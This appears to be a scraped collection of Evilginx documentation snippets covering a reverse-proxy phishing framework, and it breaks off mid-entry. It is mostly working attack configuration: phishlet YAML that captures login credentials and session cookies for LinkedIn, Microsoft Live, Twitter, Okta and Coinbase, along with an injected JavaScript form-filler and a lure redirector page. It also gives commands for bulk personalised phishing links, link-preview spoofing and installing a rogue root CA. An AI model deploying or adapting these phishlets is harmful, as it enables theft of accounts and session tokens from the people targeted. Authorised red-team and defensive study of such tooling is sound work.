Evilginx

https://help.evilginx.com/community
Admin
Evilginx is a man-in-the-middle reverse-proxy attack framework used for phishing account credentials...
Tokens:14,472
Snippets:227
Trust Score:7.3
Update:3 months ago
Show doc for...
Tokens:
Raw
### Example 2: Dynamic Subdomain and Path Replacement

Source: https://help.evilginx.com/community/phishlet-format

This example shows how to use regex groups and dynamic hostnames for replacements in HTML and JSON content. It triggers on 'www.linkedin.com' and replaces a pattern involving a dynamic alphanumeric string within the path.

```yaml
- {triggers_on: 'www.linkedin.com', orig_sub: 'cdn', domain: 'linkedinapis.com', search: '//{hostname}/([0-9a-z]*)/nhome/', replace: '//{hostname}/${1}/nhome/', mimes: ['text/html', 'application/json']}
```

--------------------------------

### Example 1: Basic Hostname Replacement

Source: https://help.evilginx.com/community/phishlet-format

This example demonstrates replacing a specific hostname pattern in HTML, JSON, and JavaScript content. It triggers on 'login.live.com' and replaces occurrences of the original hostname with the phishing hostname.

```yaml
- {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/ppsecure/', replace: 'https://{hostname}/ppsecure/', mimes: ['text/html', 'application/json', 'application/javascript']}
```

--------------------------------

### Customized Automated Deployment

Source: https://help.evilginx.com/community/getting-started/deployment/remote

Example of deploying Evilginx with custom SSH key and user. This allows for specific authorization settings during deployment.

```bash
SSH_KEY_FILE=~/keys/ssh.key SSH_USER=admin ./deploy.sh 1.2.3.4  
```

--------------------------------

### Configure Domain and IPv4 Address

Source: https://help.evilginx.com/community/getting-started/quickstart

Set the server domain and IPv4 address, which are essential for Evilginx operation. Use local addresses for development setups.

```bash
: config domain not-a-phish.com
```

```bash
: config ipv4 1.2.3.4
```

--------------------------------

### Install Evilginx Root CA Certificate (Linux)

Source: https://help.evilginx.com/community/getting-started/deployment/local

Copy the Evilginx Root CA certificate to the system's trusted certificates directory and update the certificate store on Linux.

```bash
sudo cp /root/.evilginx/crt/ca.crt /usr/local/share/ca-certificates/evilginx.crt  
sudo update-ca-certificates  

```

--------------------------------

### Evilpuppet Configuration Example

Source: https://help.evilginx.com/community/phishlet-format

This configuration defines triggers for specific domains and paths, along with actions to interact with website elements and interceptors to capture tokens. Use this to set up automated token generation for phishing campaigns.

```yaml
evilpuppet:  
  triggers:  
    - domains: ['www.coinbase.com']  
      paths: ['/sessions']  
      token: 'recaptcha_token'  
      open_url: 'https://www.coinbase.com/signin'  
      actions:  
        - selector: '#email'  
          value: '{username}'  
          enter: false  
          click: false  
          post_wait: 0  
        - selector: '#password'  
          value: '{password}'  
          enter: false  
          click: false  
          post_wait: 0  
        - selector: '#stay_signed_in'  
          click: true  
          post_wait: 0  
        - selector: '#signin_button'  
          click: true  
          post_wait: 0  
  interceptors:  
    - token: 'recaptcha_token'  
      url_re: '/sessions'  
      post_re: 'recaptcha_token=([^&]*)'  
      abort: true  

```

--------------------------------

### Generate Hosts File Entries

Source: https://help.evilginx.com/community/getting-started/quickstart

Generate a list of host entries for the system's hosts file, useful for local development setups when Evilginx is running in developer mode.

```bash
: phishlets get-hosts linkedin
```

--------------------------------

### Install Evilginx Root CA Certificate (Windows)

Source: https://help.evilginx.com/community/getting-started/deployment/local

Add the Evilginx Root CA certificate to the trusted root certificates store using certutil in a Windows command prompt running as Administrator.

```cmd
certutil -addstore -f "ROOT" %USERPROFILE%\.evilginx\crt\ca.crt  

```

--------------------------------

### Phishlets Get Hosts File Entries

Source: https://help.evilginx.com/community/guides/phishlets

Generates entries for the hosts file, enabling the use of localhost for testing phishlets.

```bash
phishlets get-hosts <phishlet>

generates entries for hosts file in order to use localhost for testing
```

--------------------------------

### Exported Links with Original Values

Source: https://help.evilginx.com/community/guides/lures

Example of the output format when exporting generated phishing links. Each link includes the original custom variable values as comments.

```text
https://www.linkedin.not-a-phish.com/download/RESUME.pdf?h=WYofPy3LHfWukWZvz55jLf8LNJ_ys0-IMGLxtn246RXGIE2Ep8q1kijrEoO5QkN0Gg ; email="john.doe@company.com" name="John Doe"  

https://www.linkedin.not-a-phish.com/download/RESUME.pdf?jck=CFSmJJcaWrS--tPAGJbbM5mGdc4wJ_dDtf0GoVYeH3u33q43LExgnG0 ; email="elle@company.com" name="Elle"  

https://www.linkedin.not-a-phish.com/download/RESUME.pdf?t=YTvVbl6ZQHMUKBbF88TRrv_gkSA8tdVV0USJTt5EjWDDlArmGvnaA2amm9l7 ; email="steven@company.com" name="Steven"  


```

--------------------------------

### JSON Input for Bulk Link Generation

Source: https://help.evilginx.com/community/guides/lures

Example of a JSON file format for providing custom variables for bulk phishing link generation. Each object in the array represents a set of variables for a single link.

```json
[{  

    "email":"john.doe@company.com",  

    "name":"John Doe"  

},{  

    "email":"elle@company.com",  

    "name":"Elle"  

},{  

    "email":"steven@company.com",  

    "name":"Steven"  

}]  


```

--------------------------------

### Full Evilginx Configuration JSON

Source: https://help.evilginx.com/community/guides/config

This JSON structure represents a complete Evilginx configuration, including general settings, phishlet definitions, and lure configurations. It's used for initial setup or deployment.

```json
{
    "general": {
        "bind_ipv4": "127.0.0.1",
        "dns_port": 53,
        "domain": "not-a-phish.com",
        "external_ipv4": "1.2.3.4",
        "https_port": 443,
        "unauth_url": "https://www.linkedin.com"
    },
    "phishlets": {
        "linkedin": {
            "hostname": "linkedin.not-a-phish.com",
            "enabled": true,
            "visible": true
        }
    },
    "lures": [
        {
            "hostname": "",
            "info": "",
            "og_desc": "",
            "og_image": "",
            "og_title": "",
            "og_url": "",
            "path": "/login",
            "phishlet": "linkedin",
            "redirect_url": "https://www.linkedin.com",
            "redirector": "",
            "ua_filter": ""
        }
    ]
}
```

--------------------------------

### Get Lure URL

Source: https://help.evilginx.com/community/getting-started/quickstart

Retrieve the specific URL for a created lure by its ID. This is the link you will share with targets.

```bash
: lures get-url 0
```

--------------------------------

### Phishlet Parameters Definition

Source: https://help.evilginx.com/community/phishlet-format

Defines parameters that can be used to create customized child phishlets. The 'subdomain' parameter is shown as an example.

```yaml
params:
  - {name: 'subdomain', default: ''}
```

--------------------------------

### Capture All Cookies with Regex for Company Domain

Source: https://help.evilginx.com/community/phishlet-format

This example uses a regular expression to capture all cookies set for the '.company.com' domain. It requires `auth_urls` to be configured for session capture when using regex-based key matching.

```yaml
auth_tokens:
  - domain: '.company.com'
    keys: ['.*,regexp']
    type: 'cookie'
```

--------------------------------

### CSV Input for Bulk Link Generation

Source: https://help.evilginx.com/community/guides/lures

Example of a CSV file format for providing custom variables for bulk phishing link generation. The first row defines the variable names.

```csv
email,name  

john.doe@company.com,John Doe  

elle@company.com,Elle  

steven@company.com,Steven  


```

--------------------------------

### Capture Multiple Company Cookies

Source: https://help.evilginx.com/community/phishlet-format

Example demonstrating the capture of multiple cookies for different subdomains of 'company.com'. It includes both general cookies and a specific session ID cookie with an optional modifier.

```yaml
auth_tokens:
  - domain: '.company.com'
    keys: ['session','_visit','id']
    type: 'cookie'
  - domain: 'auth.company.com'
    keys: ['sid','ver,opt']
    type: 'cookie'
```

--------------------------------

### Using Parameters in Proxy Hosts

Source: https://help.evilginx.com/community/phishlet-format

Demonstrates how to use defined parameters, like '{subdomain}', to customize proxy host configurations.

```yaml
proxy_hosts:
  - {phish_sub: '{subdomain}', orig_sub: '{subdomain}', domain: 'domain.com', session: true, is_landing: true}
```

--------------------------------

### Automated Deployment Script Usage (Binary)

Source: https://help.evilginx.com/community/getting-started/deployment/remote

Use this script for automated deployment when you have the precompiled Evilginx binary. It requires the server IP and an optional configuration path.

```bash
usage: ./deploy.sh <server_ip> <config_path>  
```

--------------------------------

### Build Evilginx Binary

Source: https://help.evilginx.com/community/getting-started/deployment/remote

Compile the Evilginx binary from source code using the 'make' command. This is a prerequisite for manual deployment.

```bash
make  
```

--------------------------------

### Proxy Command Help

Source: https://help.evilginx.com/community/guides/proxy

Display detailed help information for all available proxy-related commands in Evilginx.

```bash
: help proxy
```

--------------------------------

### Show All Lures

Source: https://help.evilginx.com/community/guides/lures

Lists all created lures.

```bash
lures show all create lures
```

--------------------------------

### Build Release Script

Source: https://help.evilginx.com/community/getting-started/deployment/remote

Run this script to build Evilginx from source code and prepare it for release. The output is placed in the ./release directory.

```bash
./build_release.sh  
```

--------------------------------

### Configure Login Page Details

Source: https://help.evilginx.com/community/phishlet-format

Set the domain and path for the login page on the target website.

```yaml
login:
  domain: 'www.linkedin.com'
  path: '/uas/login'
```

--------------------------------

### Lures Command Help

Source: https://help.evilginx.com/community/guides/lures

Displays all available commands for managing lures, including options for editing and deleting them.

```bash
: help lures
```

--------------------------------

### Blacklist Command Help

Source: https://help.evilginx.com/community/guides/blacklist

Display detailed help information for all available blacklist commands and their functionalities.

```bash
: help blacklist
```

--------------------------------

### Help Command for Sessions

Source: https://help.evilginx.com/community/guides/sessions

Displays help information and usage details for the 'sessions' command and its subcommands.

```bash
: help sessions
```

--------------------------------

### Phishlets Command Help

Source: https://help.evilginx.com/community/guides/phishlets

Displays the help information for all available phishlet commands, outlining their usage and purpose.

```bash
: help phishlets
```

--------------------------------

### Launch Evilginx from Source (Windows)

Source: https://help.evilginx.com/community/getting-started/deployment/local

Use this command to launch Evilginx in development mode when built from source on Windows. It specifies the phishlet and redirector directories.

```bash
build\evilginx.exe -p ./phishlets -t ./redirectors -developer  

```

--------------------------------

### List All Lures

Source: https://help.evilginx.com/community/getting-started/quickstart

Display a list of all created lures. This command helps in managing and retrieving lure information.

```bash
: lures
```

--------------------------------

### Enable Outbound Proxy

Source: https://help.evilginx.com/community/guides/proxy

Activate the configured outbound proxy settings in Evilginx. Remember to restart Evilginx after enabling.

```bash
: proxy enable
```

--------------------------------

### Sessions Command Overview

Source: https://help.evilginx.com/community/guides/sessions

Provides a summary of the 'sessions' command's capabilities, including viewing history, captured credentials, and managing sessions.

```bash
sessions

Shows all captured credentials and authentication tokens. Allows to
view full history of visits and delete logged sessions.

sessions

  show history of all logged visits and captured credentials
sessions <id>

  show session details, including captured authentication tokens, if available
sessions delete <id>

  delete logged session with <id> (ranges with separators are allowed e.g. 1-7,10-12,15-25)
sessions delete all

  delete all logged sessions
```

--------------------------------

### Launch Evilginx from Source (Linux)

Source: https://help.evilginx.com/community/getting-started/deployment/local

Use this command to launch Evilginx in development mode when built from source on Linux. It specifies the phishlet and redirector directories.

```bash
sudo ./build/evilginx -p ./phishlets -t ./redirectors -developer  

```

--------------------------------

### Build Evilginx on Linux

Source: https://help.evilginx.com/community/getting-started/building

Execute this command on Linux systems to build the Evilginx binary. The compiled executable will be located in the 'build/' directory.

```bash
make
```

--------------------------------

### Make Evilginx Binary Executable

Source: https://help.evilginx.com/community/getting-started/deployment/remote

Set execute permissions for the Evilginx binary after transferring it to the remote server. This is necessary to run the application.

```bash
chmod 700 ./evilginx  
```

--------------------------------

### Check Blacklist Settings

Source: https://help.evilginx.com/community/guides/blacklist

Use this command to view the current blacklist mode and statistics on managed IPs and IP masks.

```bash
: blacklist
```

--------------------------------

### Launch Evilginx from Release Package (Linux)

Source: https://help.evilginx.com/community/getting-started/deployment/local

Use this command to launch Evilginx in development mode when using a release package on Linux.

```bash
sudo ./evilginx -developer  

```

--------------------------------

### Launch Evilginx from Release Package (Windows)

Source: https://help.evilginx.com/community/getting-started/deployment/local

Use this command to launch Evilginx in development mode when using a release package on Windows.

```bash
evilginx.exe -developer  

```

--------------------------------

### Phishlets Command Overview

Source: https://help.evilginx.com/community/guides/phishlets

Lists all available phishlet commands and their basic functions, such as showing status, details, and managing parameters.

```bash
phishlets

Shows status of all available phishlets
```

--------------------------------

### Configure POST Credentials Capture

Source: https://help.evilginx.com/community/phishlet-format

Specify username, password, and custom POST parameters to be captured. Use 'key' to match the parameter name and 'search' for value extraction.

```yaml
credentials:
  username:
    key: 'email'
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'
  custom:
    - key: 'token'
      search: '(.*)'
      type: 'post'
    - key: 'pin'
      search: '([0-9]*)'
      type: 'post'
```

--------------------------------

### Build Evilginx on Windows

Source: https://help.evilginx.com/community/getting-started/building

Run this batch script on Windows systems to compile the Evilginx binary. The resulting executable will be found in the 'build/' directory.

```batch
build.bat
```

--------------------------------

### View Current Proxy Settings

Source: https://help.evilginx.com/community/guides/proxy

Use this command to check the current proxy configuration in Evilginx.

```bash
: proxy
```

--------------------------------

### Import, Generate, and Export Links to File

Source: https://help.evilginx.com/community/guides/lures

Command to import custom variables from a CSV file, generate phishing links, and export them to a specified text file.

```bash
: lures get-url 0 import input.csv export targets.txt  
```

--------------------------------

### Phishlets Enable

Source: https://help.evilginx.com/community/guides/phishlets

Activates a phishlet and automatically requests an SSL/TLS certificate if necessary.

```bash
phishlets enable <phishlet>

enables phishlet and requests ssl/tls certificate if needed
```

--------------------------------

### Set Proxy Type to SOCKS5

Source: https://help.evilginx.com/community/guides/proxy

Configure Evilginx to use a SOCKS5 proxy. This is the first step in setting up a SOCKS5 proxy.

```bash
: proxy type socks5
```

--------------------------------

### Evilginx Configuration Commands

Source: https://help.evilginx.com/community/guides/config

This section lists commands for viewing and modifying Evilginx configuration variables directly from the command line. Use these to adjust network settings, domains, and redirection URLs.

```bash
: help config
```

```bash
config
```

```bash
config domain <domain>
```

```bash
config ipv4 <ipv4_address>
```

```bash
config ipv4 external <ipv4_address>
```

```bash
config ipv4 bind <ipv4_address>
```

```bash
config unauth_url <url>
```

```bash
config wildcards <true|false>
```

--------------------------------

### Enable Phishlet

Source: https://help.evilginx.com/community/getting-started/quickstart

Enable a configured phishlet to make it active. Evilginx will attempt to obtain TLS certificates if not running in developer mode.

```bash
: phishlets enable linkedin
```

--------------------------------

### Create Child Phishlet from Template

Source: https://help.evilginx.com/community/guides/phishlets

Create a new phishlet named 'company' based on the 'okta' template, providing a value for the 'subdomain' variable.

```bash
: phishlet create okta company subdomain=company-team  
```

--------------------------------

### Create New Lure

Source: https://help.evilginx.com/community/guides/lures

Creates a new lure for a specified phishlet.

```bash
lures create <phishlet>
```

--------------------------------

### Set Proxy Authentication Credentials

Source: https://help.evilginx.com/community/guides/proxy

Configure username and password for proxy authentication if required by the proxy server.

```bash
: proxy username <username>
```

```bash
: proxy password <password>
```

--------------------------------

### Create a Lure

Source: https://help.evilginx.com/community/getting-started/quickstart

Create a phishing lure for a specific phishlet. This generates a unique URL that can be sent to users.

```bash
: lures create linkedin
```

--------------------------------

### Configure Proxy Hosts in Evilginx

Source: https://help.evilginx.com/community/phishlet-format

Define subdomains and domains for Evilginx to handle for proxying traffic. Use 'session: true' for hosts with main HTML content and 'is_landing: true' for the primary phishing URL host.

```yaml
proxy_hosts:  
  - {phish_sub: '', orig_sub: '', domain: 'twitter.com', session: true, is_landing: true}  
  - {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com', session: false, is_landing: false}  
  - {phish_sub: 'api', orig_sub: 'api', domain: 'twitter.com', session: false, is_landing: false}
```

--------------------------------

### Import and Generate Links from JSON

Source: https://help.evilginx.com/community/guides/lures

Command to import custom variables from a JSON file and generate phishing links, outputting them directly to the terminal.

```bash
: lures get-url 0 import input.json  
```

--------------------------------

### View Specific Session Details

Source: https://help.evilginx.com/community/getting-started/quickstart

Display detailed information about a specific captured session, identified by its ID. This includes username, password, IP, and user-agent.

```bash
: sessions 0
```

--------------------------------

### List Captured Sessions

Source: https://help.evilginx.com/community/getting-started/quickstart

Display a list of all captured user sessions, including their IDs.

```bash
: sessions
```

--------------------------------

### Generate Phishing URLs with Import/Export

Source: https://help.evilginx.com/community/guides/lures

Generates phishing URLs by importing parameters from a file and exporting the results to a specified file format.

```bash
lures get-url <id> import <params_file> export <urls_file> <text|csv|json>
```

--------------------------------

### Minimal Evilginx Configuration JSON

Source: https://help.evilginx.com/community/guides/config

A simplified JSON configuration for Evilginx, focusing only on essential network settings like domain and IP addresses. This is useful for quick deployments.

```json
{
	"domain": "not-a-phish.com",
    "bind_ipv4": "127.0.0.1",
    "external_ipv4": "1.2.3.4",
	"blacklist_mode": "unauth"
}
```

--------------------------------

### View Child Phishlet Details

Source: https://help.evilginx.com/community/guides/phishlets

Inspect the details of a newly created child phishlet, including its parent template and assigned parameters.

```bash
: phishlets okta:company  
```

--------------------------------

### Generate Phishing URL with Parameters

Source: https://help.evilginx.com/community/guides/lures

Generates a phishing URL for a given lure ID, allowing for optional parameters.

```bash
lures get-url <id> <key1=value1> <key2=value2>
```

--------------------------------

### Import and Generate Links from CSV

Source: https://help.evilginx.com/community/guides/lures

Command to import custom variables from a CSV file and generate phishing links, outputting them directly to the terminal.

```bash
: lures get-url 0 import input.csv  
```

--------------------------------

### Add Single IP to Blacklist File

Source: https://help.evilginx.com/community/guides/blacklist

Manually add a single IP address to the blacklist.txt file for persistent blocking.

```text
192.188.55.3
```

--------------------------------

### Show Lure Details

Source: https://help.evilginx.com/community/guides/lures

Displays detailed information for a specific lure identified by its ID.

```bash
lures <id>
```

--------------------------------

### Phishlets Show Details

Source: https://help.evilginx.com/community/guides/phishlets

Retrieves detailed information about a specific phishlet.

```bash
phishlets <phishlet>

show details of a specific phishlets
```

--------------------------------

### Configure OpenGraph Tags for Lure Previews

Source: https://help.evilginx.com/community/guides/lures

Customizes meta tags for link previews on social media and messengers. These tags are injected into redirectors and sign-in pages.

```bash
: lures edit 0 og_title "Download RESUME.pdf"
```

```bash
: lures edit 0 og_desc "Download your file securely - click to preview"
```

```bash
: lures edit 0 og_image https://breakdev.org/content/images/2020/09/evilginx_gone_phishing_blog.jpg
```

```bash
: lures edit 0 og_url https://drive.google.com/shared/document/0019234/preview
```

--------------------------------

### General Phishlet Information

Source: https://help.evilginx.com/community/phishlet-format

Specifies the minimum compatible Evilginx version and a default redirect URL.

```yaml
min_ver: '3.0.0'

redirect_url: 'https://www.linkedin.com/profile'
```

--------------------------------

### Generate Single Phishing Link

Source: https://help.evilginx.com/community/guides/lures

Use this command to generate a basic phishing link when no custom variables are needed.

```bash
: lures get-url 0  
```

--------------------------------

### Edit Lure Redirector Path

Source: https://help.evilginx.com/community/guides/lures

Sets an HTML redirector directory for a specific lure.

```bash
lures edit <id> redirector <path>
```

--------------------------------

### Set SOCKS5 Proxy Address and Port

Source: https://help.evilginx.com/community/guides/proxy

Specify the IP address and port number for the SOCKS5 proxy server.

```bash
: proxy address 127.0.0.1
```

```bash
: proxy port 8080
```

--------------------------------

### Edit Lure Path

Source: https://help.evilginx.com/community/guides/lures

Sets a custom URL path for a specific lure.

```bash
lures edit <id> path <path>
```

--------------------------------

### Edit Lure OpenGraph Description

Source: https://help.evilginx.com/community/guides/lures

Sets the OpenGraph description for link previews of a specific lure.

```bash
lures edit <id> og_des <title>
```

--------------------------------

### HTML Redirector with Download Button

Source: https://help.evilginx.com/community/guides/redirectors

This HTML code creates a landing page with a 'Download' button that, when clicked, redirects the user to a phishing page. It uses custom variables for personalization and JavaScript for the redirection logic.

```html
<!doctype html>

<html lang="en">

<head>

    <title>{from_name} ({from_email}) shared a file with you (1)</title>

    <meta charset="utf-8">

    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

</head>

<body>

    <div class="download">

        <button type="button" class="btn btn-primary btn-lg" onclick="clickedDownload()">Download "{filename}"</button>

    </div>

  

    <script>

        function clickedDownload() {

            window.location.assign({lure_url_js});

        }

    </script>

  

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>

    <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN" crossorigin="anonymous"></script>

    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/KUEfYiJOMMV+rV" crossorigin="anonymous"></script>

</body>

</html>

```

--------------------------------

### Check Phishlet Status

Source: https://help.evilginx.com/community/guides/phishlets

Use this command to verify if a phishlet is a template and to see its required parameters.

```bash
: phishlets okta  
```

--------------------------------

### Set Phishlet Hostname

Source: https://help.evilginx.com/community/guides/phishlets

Configure the specific hostname for a phishlet. The hostname must end with the Evilginx top-level domain.

```bash
: phishlet hostname linkedin linkedin.not-a-phish.com
```

--------------------------------

### Define Authentication URLs

Source: https://help.evilginx.com/community/phishlet-format

Specify URL paths that trigger session capture when accessed. Useful when session cookies are dynamically generated.

```yaml
auth_urls:
  - '/home'
```

```yaml
auth_urls:
  - '/admin'
  - '/admin/.*'
```

--------------------------------

### View Detailed Session Information

Source: https://help.evilginx.com/community/guides/sessions

Retrieve detailed information for a specific session, including captured session cookies in JSON format.

```bash
: sessions <id>
```

--------------------------------

### Edit Lure Redirect URL

Source: https://help.evilginx.com/community/guides/lures

Sets the redirect URL for successful authorization on a specific lure.

```bash
lures edit <id> redirect_url <redirect_url>
```

--------------------------------

### Set Hostname for Phishlet

Source: https://help.evilginx.com/community/getting-started/quickstart

Configure a specific hostname for a phishlet, ensuring it uses the domain previously set with the 'config domain' command.

```bash
: phishlets hostname linkedin totally.legit.linkedin.not-a-phish.com
```

--------------------------------

### Add IP Mask to Blacklist File

Source: https://help.evilginx.com/community/guides/blacklist

Specify a subnet mask to block a range of IP addresses. The file supports CIDR notation.

```text
192.188.0.0/16
```

--------------------------------

### Restart Evilginx Service

Source: https://help.evilginx.com/community/getting-started/deployment/remote

Use the control script to restart the Evilginx service. This is useful if the tmux session is closed or the service needs to be re-initiated.

```bash
sudo ~/evilginx-package/control.sh start  
```

--------------------------------

### Edit Lure User-Agent Filter

Source: https://help.evilginx.com/community/guides/lures

Sets a regular expression for a user-agent whitelist filter on a specific lure.

```bash
lures edit <id> ua_filter <regexp>
```

--------------------------------

### Edit Lure Info

Source: https://help.evilginx.com/community/guides/lures

Sets descriptive information for a specific lure (display only).

```bash
lures edit <id> info <info>
```

--------------------------------

### Stop Evilginx Service

Source: https://help.evilginx.com/community/getting-started/deployment/remote

Use the control script to gracefully shut down the Evilginx service. This ensures a clean stop of the running instance.

```bash
sudo ~/evilginx-package/control.sh stop  
```

--------------------------------

### Change Blacklist Mode

Source: https://help.evilginx.com/community/guides/blacklist

Modify the blacklist behavior by specifying a mode. The default mode is 'unauth'.

```bash
: blacklist <mode>
```

--------------------------------

### Delete All Lures

Source: https://help.evilginx.com/community/guides/lures

Removes all created lures from the system.

```bash
lures delete all
```

--------------------------------

### Attach to Evilginx Tmux Session

Source: https://help.evilginx.com/community/getting-started/deployment/remote

Connect to the running Evilginx console within a tmux session. This is used to interact with the Evilginx instance after deployment.

```bash
tmux a -t evilginx  
```

--------------------------------

### Force POST Parameters

Source: https://help.evilginx.com/community/phishlet-format

Define POST arguments to be added or modified in intercepted POST requests. Useful for enforcing options like 'Remember Me'.

```yaml
force_post:
  - path: '/sessions'
    search:
      - {key: 'session\[user.*]', search: '.*'}
      - {key: 'session\[pass[a-z]{4}\]', search: '.*'}
    force:
      - {key: 'remember_me', value: '1'}
    type: 'post'
```

--------------------------------

### JavaScript Injection Configuration

Source: https://help.evilginx.com/community/phishlet-format

Defines JavaScript scripts to inject into proxied pages. Scripts can use variable parameters like {email} which are set per lure. The script is injected before the closing </body> tag.

```yaml
js_inject:
  - trigger_domains: ["www.linkedin.com"]
    trigger_paths: ["/uas/login"]
    trigger_params: ["email"]
    script: |
      function lp(){
        var email = document.querySelector("#username");
        var password = document.querySelector("#password");
        if (email != null && password != null) {
          email.value = "{email}";
          password.focus();
          return;
        }
        setTimeout(function(){lp();}, 100);
      }
      setTimeout(function(){lp();}, 100);
```

--------------------------------

### Edit Lure Hostname

Source: https://help.evilginx.com/community/guides/lures

Changes the hostname for a lure. This action also triggers automatic TLS certificate retrieval.

```bash
: lures edit 0 hostname this.is.a.legit.linkedin.not-a-phish.com
```

--------------------------------

### Configure JSON Credentials Capture

Source: https://help.evilginx.com/community/phishlet-format

Specify username and password capture from JSON payloads. The 'search' parameter uses a regular expression to extract values from the JSON string.

```yaml
credentials:
  username:
    key: ''
    search: '"email":"([^"]*)'
    type: 'json'
  password:
    key: ''
    search: '"password":"([^"]*)'
    type: 'json'
```

--------------------------------

### Phishlets Create Child

Source: https://help.evilginx.com/community/guides/phishlets

Creates a child phishlet from a template phishlet, allowing for custom parameters to be set.

```bash
phishlets create <phishlet> <child_name> <key1=value1> <key2=value2>

create child phishlet from a template phishlet with custom parameters
```

--------------------------------

### Phishlets Set Hostname

Source: https://help.evilginx.com/community/guides/phishlets

Configures the hostname for a given phishlet, which is crucial for directing traffic to the phishing site.

```bash
phishlets hostname <phishlet> <hostname>

set hostname for given phishlet (e.g. this.is.not.a.phishing.site.evilsite.com)
```

--------------------------------

### Edit Lure User-Agent Filter

Source: https://help.evilginx.com/community/guides/lures

Sets a regular expression to filter incoming requests based on their User-Agent header. Unauthorized requests are handled like invalid lure URLs.

```bash
: lures edit 0 ua_filter Mobile|Android|BlackBerry
```

--------------------------------

### Define Template Phishlet with Custom Variable

Source: https://help.evilginx.com/community/guides/phishlets

This phishlet defines a 'subdomain' parameter, making it a template. Custom variables like '{subdomain}' can be used throughout the phishlet configuration.

```yaml
params:  
  - {name: 'subdomain', default: '', required: true}  
proxy_hosts:  
  - {phish_sub: '{subdomain}', orig_sub: '{subdomain}', domain: 'okta.com', session: true, is_landing: true}  
login:  
  domain: '{subdomain}.okta.com'  
  path: '/'  
```

--------------------------------

### Configure Sub Filters for URL Substitution

Source: https://help.evilginx.com/community/phishlet-format

Define sub_filters to dynamically replace specific URL patterns within proxied content. This is crucial for maintaining the phishing session by preventing redirects to legitimate sites. Ensure the 'mimes' array includes all relevant content types.

```yaml
sub_filters:
  - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/ppsecure/', replace: 'https://{hostname}/ppsecure/', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/GetCredentialType.srf', replace: 'https://{hostname}/GetCredentialType.srf', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/GetSessionState.srf', replace: 'https://{hostname}/GetSessionState.srf', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'login.live.com', orig_sub: 'outlook', domain: 'live.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript'], redirect_only: true}
  - {triggers_on: 'login.live.com', orig_sub: 'account', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'account.live.com', orig_sub: 'account', domain: 'live.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'account.live.com', orig_sub: 'live', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'account.live.com', orig_sub: 'account', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
```

--------------------------------

### Edit Lure Redirect URL

Source: https://help.evilginx.com/community/guides/lures

Defines the URL where phished users are redirected after successful credential submission. If empty, Evilginx attempts to continue reverse-proxying.

```bash
: lures edit 0 redirect_url https://drive.google.com/shared/document/0019234/preview
```

--------------------------------

### Edit Lure Path

Source: https://help.evilginx.com/community/guides/lures

Modifies the path for a lure's phishing landing page.

```bash
: lures edit 0 path /downloads/RESUME.pdf
```

--------------------------------

### Edit Lure OpenGraph URL

Source: https://help.evilginx.com/community/guides/lures

Sets the OpenGraph URL for link previews of a specific lure.

```bash
lures edit <id> og_url <title>
```

--------------------------------

### Edit Lure OpenGraph Image URL

Source: https://help.evilginx.com/community/guides/lures

Sets the OpenGraph image URL for link previews of a specific lure.

```bash
lures edit <id> og_image <title>
```

--------------------------------

### Add Information Note to Lure

Source: https://help.evilginx.com/community/guides/lures

Sets a private note for a specific lure, useful for internal tracking or reminders.

```bash
lures edit 0 info "This is a test lure - do not use on engagements"
```

--------------------------------

### Delete All Sessions

Source: https://help.evilginx.com/community/guides/sessions

Clear all recorded phishing sessions from the history.

```bash
: sessions delete all
```

--------------------------------

### Edit Lure Redirector

Source: https://help.evilginx.com/community/guides/lures

Assigns a specific redirector website to a lure, which visitors will see before being directed to the phishing login page.

```bash
: lures edit 0 redirector download_example
```

--------------------------------

### Generate Single Phishing Link with Custom Variables

Source: https://help.evilginx.com/community/guides/lures

Generate a phishing link with custom variables like email and name, which can be used by redirectors or js_inject scripts in your phishlet.

```bash
lures get-url 0 email=john.doe@company.com name="John Doe"  
```

--------------------------------

### Set Custom Unauthorized Redirect URL

Source: https://help.evilginx.com/community/guides/phishlets

Configure a custom URL to redirect unauthorized requests for a specific phishlet. If empty, the global unauth_url is used.

```bash
: phishlets unauth_url linkedin https://www.nothingtoseehere.com
```

--------------------------------

### Edit Lure OpenGraph Title

Source: https://help.evilginx.com/community/guides/lures

Sets the OpenGraph title for link previews of a specific lure.

```bash
lures edit <id> og_title <title>
```

--------------------------------

### Disable Outbound Proxy

Source: https://help.evilginx.com/community/guides/proxy

Deactivate the configured outbound proxy settings in Evilginx. Remember to restart Evilginx after disabling.

```bash
: proxy disable
```

--------------------------------

### Capture Twitter Cookies

Source: https://help.evilginx.com/community/phishlet-format

